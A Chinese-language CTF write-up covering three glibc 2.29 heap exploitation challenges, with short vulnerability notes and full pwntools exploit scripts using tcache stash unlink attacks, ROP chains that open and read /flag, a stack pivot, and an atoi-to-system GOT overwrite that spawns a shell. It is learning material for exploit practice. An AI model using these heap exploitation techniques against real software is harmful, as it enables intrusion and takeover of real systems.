BUUCTF-PWN刷題記錄-24 & libc-2.29學習(下)

[2020 新春紅包題]3(Tcache stash unlink attack)

在這裏插入圖片描述
沒有開canary,莫非有棧溢出?
同樣把execve禁用了
在這裏插入圖片描述
刪除的時候有指針懸掛
在這裏插入圖片描述
添加的時候限制了只能添加0x10,0xf0,0x300,0x400大小的
在這裏插入圖片描述
並且使用calloc分配,這意味着add時不會從tcache中取chunk
在這裏插入圖片描述
添加次數爲0x1c(28),編輯次數爲1
在這裏插入圖片描述
程序存在後門,剛好可以覆蓋返回地址
在這裏插入圖片描述
利用思路如下

  1. 添加釋放7次,把大小爲0x410的chunk的tcache填滿,並且利用show泄露heap_base
  2. 把大小爲0x100的chunk放入tcache中6個
  3. 添加0x410大小的chunk並且釋放來獲得libc地址
  4. 把大小爲0x100的chunk放入tcache中2個
  5. 利用UAF修改smallbin2(後進入smallbin的chunk)的bk爲qword_4058 + 0x800-0x10
  6. 申請0x100大小的chunk,這樣qword_4058 + 0x800-0x10就會寫上一個大數
  7. 再申請一個0x410的chunk,寫入ROPchain
  8. 利用後門+棧遷移獲得flag

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 28846)
#r = process("./RedPacket_SoEasyPwn1/RedPacket_SoEasyPwn1")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	where
	''')

elf = ELF("./RedPacket_SoEasyPwn1/RedPacket_SoEasyPwn1")
libc = ELF('./libc/libc-2.29.so')
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]

menu = "Your input: "
def add(index, choice, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))
	r.recvuntil("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ")
	r.sendline(str(choice))
	r.recvuntil("Please input content: ")
	r.send(content)

def delete(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))


def edit(index, content):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))
	r.recvuntil("Please input content: ")
	r.send(content)

def show(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))

# fill full tcache size 0x410
for i in range(7):
	add(0,4,'Chunk0')
	delete(0)

# fill 6 in tcache size 0x100
for i in range(6):
	add(1,2,'Chunk1')
	delete(1)


show(0)
last_chunk_addr = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_addr = last_chunk_addr - 0x26C0
success("heap_base:"+hex(heap_addr))

add(2,4,'Chunk2')
add(3,3,'Chunk3')
delete(2)
show(2)
malloc_hook = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x60 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc:"+hex(libc.address))


add(3,3,'Chunk3')
add(3,3,'Chunk3') #get smallbin1

add(4,4,'Chunk4')
add(5,4,'Chunk5')
delete(4)
add(5,3,'Chunk5')
add(5,3,'Chunk5') # get smallbin2


payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x37E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
edit(4,payload)

add(3,2,'Chunk_3') # get smallbin


pop_rdi_ret = libc.address + 0x0000000000026542
pop_rsi_ret = libc.address + 0x0000000000026f9e
pop_rdx_ret = libc.address + 0x000000000012bda6
file_name_addr = heap_addr + 0x0000000000004A40
flag_addr = file_name_addr + 0x0000000000000200
ROP_chain  = '/flag\x00\x00\x00'
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(libc.symbols['open'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['read'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['write'])

add(4,4,ROP_chain)

leave_ret = libc.address + 0x0000000000058373
r.recvuntil('Your input: ')
r.sendline('666')
r.recvuntil('What do you want to say?')
r.sendline('A'*0x80 + p64(file_name_addr) + p64(leave_ret))

r.interactive()

hitcon_ctf_2019_one_punch(Tcache stash unlink attack)

在這裏插入圖片描述
free指針懸掛
在這裏插入圖片描述
編號最高爲2
在這裏插入圖片描述
大小限制在0x7f-0x410,並且使用calloc分配,長度根據輸入計算,同時,因爲strncpy所以我們的payload如果有\x00會被截斷
在這裏插入圖片描述
同時禁用了execve
在這裏插入圖片描述

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 28996)
#r = process("./hitcon_ctf_2019_one_punch")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	where
	''')

elf = ELF("./hitcon_ctf_2019_one_punch")
libc = ELF('./libc/libc-2.29.so')
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]

menu = "> "
def add(index, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("idx: ")
	r.sendline(str(index))
	r.recvuntil("hero name: ")
	r.send(content)

def delete(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("idx: ")
	r.sendline(str(index))

def edit(index, content):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("idx: ")
	r.sendline(str(index))
	r.recvuntil("hero name: ")
	r.send(content)

def show(index):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("idx: ")
	r.sendline(str(index))

def back_door(content):
	r.recvuntil(menu)
	r.sendline('50056\x00\x00')
	sleep(1)
	r.send(content)

# fill full tcache size 0x410
for i in range(7):
	add(0, 'a'*0x400)
	delete(0)

# fill 6 in tcache size 0x100
for i in range(6):
	add(1,'b'*0xf0)
	delete(1)

show(0)
r.recvuntil("hero name: ")
last_chunk_addr = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_addr = last_chunk_addr - 0x16B0
success("heap_base:"+hex(heap_addr))

add(0, 'a'*0x400)
add(1, 'b'*0x300)
delete(0)
show(0)
r.recvuntil("hero name: ")
malloc_hook = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x60 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
syscall = libc.address + 0x000000000010D022
add_rsp = libc.address + 0x000000000008cfd6
leave = libc.address + 0x0000000000058373
pop_rdi_ret = libc.address + 0x0000000000026542
pop_rsi_ret = libc.address + 0x0000000000026f9e
pop_rdx_ret = libc.address + 0x000000000012bda6
pop_rax_ret = libc.address + 0x0000000000047cf8
success("libc:"+hex(libc.address))

add(1, 'b'*0x300)
add(1, 'b'*0x300)#smallbin1

add(0, 'a'*0x400)
add(1, 'b'*0x300)
delete(0)
add(1, 'b'*0x300)
add(1, 'b'*0x300)#smallbin2

payload = '\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x27D0)+p64(heap_addr+0x30-5-0x10)
edit(0, payload)


add(1, '/flag'+'\x00'*0x100)
for i in range(7):
	add(1, 'b'*0x217)
	delete(1)
edit(1, p64(malloc_hook))
add(1, 'b'*0xf0)
back_door(p64(malloc_hook))
back_door(p64(add_rsp))

file_name_addr = heap_addr + 0x3930
flag_addr = heap_addr + 0x3940
ROP_chain = p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(pop_rax_ret)
ROP_chain += p64(2)
ROP_chain += p64(syscall)
#ROP_chain += p64(libc.symbols['open'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['read'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['write'])

add(1, ROP_chain)
r.interactive()

安恆四月賽(DASCTF) sales_office2(UAF)

在這裏插入圖片描述
這題的環境在libc2.29下,因爲libc2.29增加了對free的檢查,所以之前sales_office中使用多次free的辦法在這裏就行不通了
漏洞還是和之前一樣,指針懸掛造成UAF
在這裏插入圖片描述
利用思路:
這題單純利用UAF就可以get shell,利用犯法並不像前兩題一樣是libc-2.29新出的

  1. 獲取堆的地址,同時在0中僞造一個chunk,操作如下
add(0x60, 'a'*0x10+p64(0)+p64(0x51))#0
add(0x60, 'b\n')#1
add(0x60, 'c\n')#2
delete(2)
delete(1)
delete(0)
show(0)
  1. 利用UAF泄露atoi地址並計算system的地址
add(0x10, p64(atoi_got)+p64(8))#3
show(1)
  1. 再次利用UAF,這次把指針指向之前僞造的chunk,然後釋放它
  2. 申請0x60大小,這樣就能編輯之前僞造的chunk,把fd改爲atoi@got
  3. 申請兩次0x40大小,第二次寫入system的地址即可

EXP:

from pwn import *

menu = "choice:"
def add(size, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Please input the size of your house:\n")
	r.sendline(str(size))
	r.recvuntil("please decorate your house:\n")
	r.send(content)

def delete(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("index:")
	r.sendline(str(index))

def show(index):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("index:")
	r.sendline(str(index))

#r = remote("183.129.189.60", 10008)
r = process('./sales_office2/sales_office')
elf = ELF('./sales_office2/sales_office')
#libc = ELF('./sales_office2/libc.so.6')
libc = ELF("./libc/libc-2.29.so")
context.log_level = 'debug'
bss_control = 0x6020A0
read_got = elf.got['read']
atoi_got = elf.got['atoi']
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]
DEBUG = 1
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x400B53
	c
	''')


add(0x60, 'a'*0x10+p64(0)+p64(0x51))#0
add(0x60, 'b\n')#1
add(0x60, 'c\n')#2
delete(2)
delete(1)
delete(0)
show(0)
r.recvuntil("house:\n")
heap_addr = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x380
success("heap:"+hex(heap_addr))
fake_chunk = heap_addr + 0x290
add(0x10, p64(atoi_got)+p64(8))#3
show(1)
r.recvuntil("house:\n")
atoi_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc.address = atoi_addr - libc.symbols['atoi']
system = libc.symbols['system']
bin_sh = libc.search("/bin/sh").next()
success("libc_base:"+hex(libc.address))
success("atoi:" + hex(atoi_addr))
success("system:" + hex(system))
success("bin_sh" + hex(bin_sh))

add(0x50, 'chunk4')#4
add(0x50, 'chunk4')#5
delete(5)
delete(4)
add(0x10, p64(fake_chunk+0x10)+p64(0x40))#6
delete(5)

add(0x60, 'a'*0x10+p64(0)+p64(0x51)+p64(atoi_got))#7
add(0x40, p64(atoi_got))#8
add(0x40, p64(system))#9

r.recvuntil(menu)
r.sendline('/bin/sh')

r.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章